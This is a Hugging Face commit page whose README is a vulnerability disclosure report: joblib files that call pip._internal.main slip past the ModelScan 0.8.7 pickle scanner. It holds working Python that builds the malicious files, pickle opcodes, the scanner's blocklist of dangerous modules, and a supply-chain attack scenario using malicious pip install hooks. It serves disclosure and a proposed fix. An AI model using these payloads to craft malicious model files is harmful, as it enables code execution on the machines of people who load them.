kfoughali commited on
Commit
a646264
·
verified ·
1 Parent(s): b695fb1

Update README.md

Browse files
Files changed (1) hide show
  1. README.md +253 -3
README.md CHANGED
@@ -1,3 +1,253 @@
1
- ---
2
- license: mit
3
- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ ---
4
+ # HUNTR MFV SUBMISSION - ModelScan Joblib pip._internal Bypass
5
+
6
+ ## Target Format
7
+ **Joblib**
8
+
9
+ ## Title
10
+ **ModelScan Scanner Bypass via pip._internal.main() in Joblib Files - Missing Blocklist Entry**
11
+
12
+ ## HuggingFace PoC
13
+ **https://huggingface.co/kfoughali/mfv-modelscan-joblib1**
14
+
15
+ Files:
16
+ - `scanner_bypass_poc.joblib` (64 bytes) - Safe demo: displays `pip install --help`
17
+ - `scanner_bypass_rce.joblib` (103 bytes) - RCE proof: downloads a file to `/tmp/joblib_rce_proof/`
18
+
19
+ ---
20
+
21
+ ## Vulnerability Summary
22
+
23
+ **Tested on:** ModelScan v0.8.7
24
+
25
+ ModelScan does not include `pip` or `pip._internal` in its CRITICAL blocklist for unsafe Pickle operations. Since Joblib uses Pickle internally for serialization, this gap directly affects `.joblib` files.
26
+
27
+ A malicious Joblib file can:
28
+ - Pass ModelScan security checks, returning "No issues found"
29
+ - Execute arbitrary code during deserialization via `pip._internal.main(...)`
30
+ - Enable supply-chain attacks, since malicious sklearn models appear harmless
31
+
32
+ This is the same vulnerability class as **CVE-2025-1716** (picklescan `pip.main()` bypass), but affects ModelScan.
33
+
34
+ ---
35
+
36
+ ## Proof of Bypass
37
+
38
+ ### ModelScan Output (Both Files)
39
+
40
+ ```
41
+ $ modelscan --version
42
+ modelscan, version 0.8.7
43
+
44
+ $ modelscan --path scanner_bypass_poc.joblib
45
+ Scanning scanner_bypass_poc.joblib using modelscan.scanners.PickleUnsafeOpScan
46
+ --- Summary ---
47
+ No issues were found!
48
+
49
+ $ modelscan --path scanner_bypass_rce.joblib
50
+ Scanning scanner_bypass_rce.joblib using modelscan.scanners.PickleUnsafeOpScan
51
+ --- Summary ---
52
+ No issues were found!
53
+ ```
54
+
55
+ ---
56
+
57
+ ## Payloads
58
+
59
+ ### PoC Payload (`scanner_bypass_poc.joblib`)
60
+
61
+ **Purpose:** Safe demonstration - displays pip install help text
62
+
63
+ ```python
64
+ import joblib
65
+
66
+ class PipBypassPoC:
67
+ def __reduce__(self):
68
+ from pip._internal import main
69
+ return main, (['install', '--help'],)
70
+
71
+ joblib.dump(PipBypassPoC(), 'scanner_bypass_poc.joblib')
72
+ ```
73
+
74
+ **Execution:**
75
+ ```
76
+ $ python3 -c "import joblib; joblib.load('scanner_bypass_poc.joblib')"
77
+
78
+ Usage:
79
+ pip install [options] <requirement specifier> [package-index-options] ...
80
+ pip install [options] -r <requirements file> [package-index-options] ...
81
+ ...
82
+ ```
83
+
84
+ ---
85
+
86
+ ### RCE Payload (`scanner_bypass_rce.joblib`)
87
+
88
+ **Purpose:** Proves arbitrary code execution by downloading a file
89
+
90
+ ```python
91
+ import joblib
92
+
93
+ class PipBypassRCE:
94
+ def __reduce__(self):
95
+ from pip._internal import main
96
+ return main, (['download', '--no-deps', '-d', '/tmp/joblib_rce_proof', 'pip'],)
97
+
98
+ joblib.dump(PipBypassRCE(), 'scanner_bypass_rce.joblib')
99
+ ```
100
+
101
+ **Execution:**
102
+ ```
103
+ $ rm -rf /tmp/joblib_rce_proof
104
+ $ python3 -c "import joblib; joblib.load('scanner_bypass_rce.joblib')"
105
+
106
+ Collecting pip
107
+ Downloading pip-25.3-py3-none-any.whl (1.8 MB)
108
+ Saved /tmp/joblib_rce_proof/pip-25.3-py3-none-any.whl
109
+ Successfully downloaded pip
110
+
111
+ $ ls /tmp/joblib_rce_proof/
112
+ pip-25.3-py3-none-any.whl
113
+ ```
114
+
115
+ **Code executes despite "No issues found" scan result.**
116
+
117
+ ---
118
+
119
+ ## Pickle Opcodes (RCE Variant)
120
+
121
+ ```
122
+ 0: \x80 PROTO 4
123
+ 11: \x8c SHORT_BINUNICODE 'pip._internal' <- Module NOT in blocklist
124
+ 27: \x8c SHORT_BINUNICODE 'main' <- Function to call
125
+ 34: \x93 STACK_GLOBAL <- pip._internal.main
126
+ 39: \x8c SHORT_BINUNICODE 'download'
127
+ 50: \x8c SHORT_BINUNICODE '--no-deps'
128
+ 62: \x8c SHORT_BINUNICODE '-d'
129
+ 67: \x8c SHORT_BINUNICODE '/tmp/joblib_rce_proof'
130
+ 91: \x8c SHORT_BINUNICODE 'pip'
131
+ 100: R REDUCE <- Execute pip._internal.main([...])
132
+ ```
133
+
134
+ ---
135
+
136
+ ## ModelScan Blocklist Analysis
137
+
138
+ Current blocklist in `modelscan/settings.py` - **pip is MISSING**:
139
+
140
+ ```python
141
+ "CRITICAL": {
142
+ "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
143
+ "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
144
+ "runpy": "*",
145
+ "os": "*",
146
+ "nt": "*",
147
+ "posix": "*",
148
+ "socket": "*",
149
+ "subprocess": "*",
150
+ "sys": "*",
151
+ "operator": ["attrgetter"],
152
+ "pty": "*",
153
+ "pickle": "*",
154
+ "_pickle": "*",
155
+ "bdb": "*",
156
+ "pdb": "*",
157
+ "shutil": "*",
158
+ "asyncio": "*",
159
+ # "pip" is NOT here!
160
+ # "pip._internal" is NOT here!
161
+ },
162
+ ```
163
+
164
+ ---
165
+
166
+ ## Attack Scenario
167
+
168
+ 1. Attacker creates malicious PyPI package with RCE in build hooks:
169
+ ```python
170
+ # pyproject.toml or setup.py hooks can execute arbitrary code
171
+ # Example: exfiltrate credentials, establish reverse shell, etc.
172
+ ```
173
+
174
+ 2. Attacker creates Joblib file calling `pip._internal.main(['install', 'malicious-pkg'])`
175
+
176
+ 3. Joblib file passes ModelScan: **"No issues found! 🎉"**
177
+
178
+ 4. Victim loads sklearn model: `joblib.load('model.joblib')`
179
+
180
+ 5. **RCE achieved** via pip install hooks
181
+
182
+ ---
183
+
184
+ ## Impact
185
+
186
+ | Impact | Description |
187
+ |--------|-------------|
188
+ | **Scanner Bypass** | ModelScan 0.8.7 reports "No issues found" |
189
+ | **Code Execution** | Arbitrary code via pip install/download hooks |
190
+ | **Supply Chain** | Malicious sklearn models appear safe |
191
+ | **Wide Scope** | Affects all Joblib/sklearn model pipelines using ModelScan |
192
+
193
+ ---
194
+
195
+ ## Recommended Fix (Scanner-Side)
196
+
197
+ Add `pip` and `pip._internal` to the CRITICAL blocklist in `modelscan/settings.py`:
198
+
199
+ ```python
200
+ "CRITICAL": {
201
+ "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
202
+ "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
203
+ "runpy": "*",
204
+ "os": "*",
205
+ "nt": "*",
206
+ "posix": "*",
207
+ "socket": "*",
208
+ "subprocess": "*",
209
+ "sys": "*",
210
+ "operator": ["attrgetter"],
211
+ "pty": "*",
212
+ "pickle": "*",
213
+ "_pickle": "*",
214
+ "bdb": "*",
215
+ "pdb": "*",
216
+ "shutil": "*",
217
+ "asyncio": "*",
218
+ "pip": "*", # <-- ADD
219
+ "pip._internal": "*", # <-- ADD
220
+ },
221
+ ```
222
+
223
+ **Why this is the correct fix:**
224
+ 1. Aligns with the fix applied in picklescan for CVE-2025-1716
225
+ 2. Treats `pip._internal.main()` as a dangerous callable
226
+ 3. Blocks both `pip.main` and `pip._internal.main` variants
227
+
228
+ ---
229
+
230
+ ## Why This Is Distinct from a Pickle Submission
231
+
232
+ | Aspect | Pickle (.pkl) | Joblib (.joblib) |
233
+ |--------|---------------|------------------|
234
+ | Scanner code path | `PickleUnsafeOpScan` on `.pkl` | `PickleUnsafeOpScan` on `.joblib` |
235
+ | Format detection | `SupportedModelFormats.PICKLE` | `SupportedModelFormats.JOBLIB` |
236
+ | Primary use case | Generic Python objects | **sklearn models** (ML industry standard) |
237
+ | Supply chain impact | General serialization | **ML model pipelines** specifically |
238
+
239
+ ModelScan explicitly supports Joblib as a distinct format. The `pip._internal` gap affects this scanner path.
240
+
241
+ ---
242
+
243
+ ## References
244
+
245
+ - CVE-2025-1716: https://nvd.nist.gov/vuln/detail/CVE-2025-1716
246
+ - GHSA-655q-fx9r-782v: https://github.com/advisories/GHSA-655q-fx9r-782v
247
+ - ModelScan: https://github.com/protectai/modelscan
248
+
249
+ ---
250
+
251
+ **Researcher:** Karim Foughali
252
+ **Email:** kfoughali@dzlaws.org
253
+ **Date:** January 17th 2026 **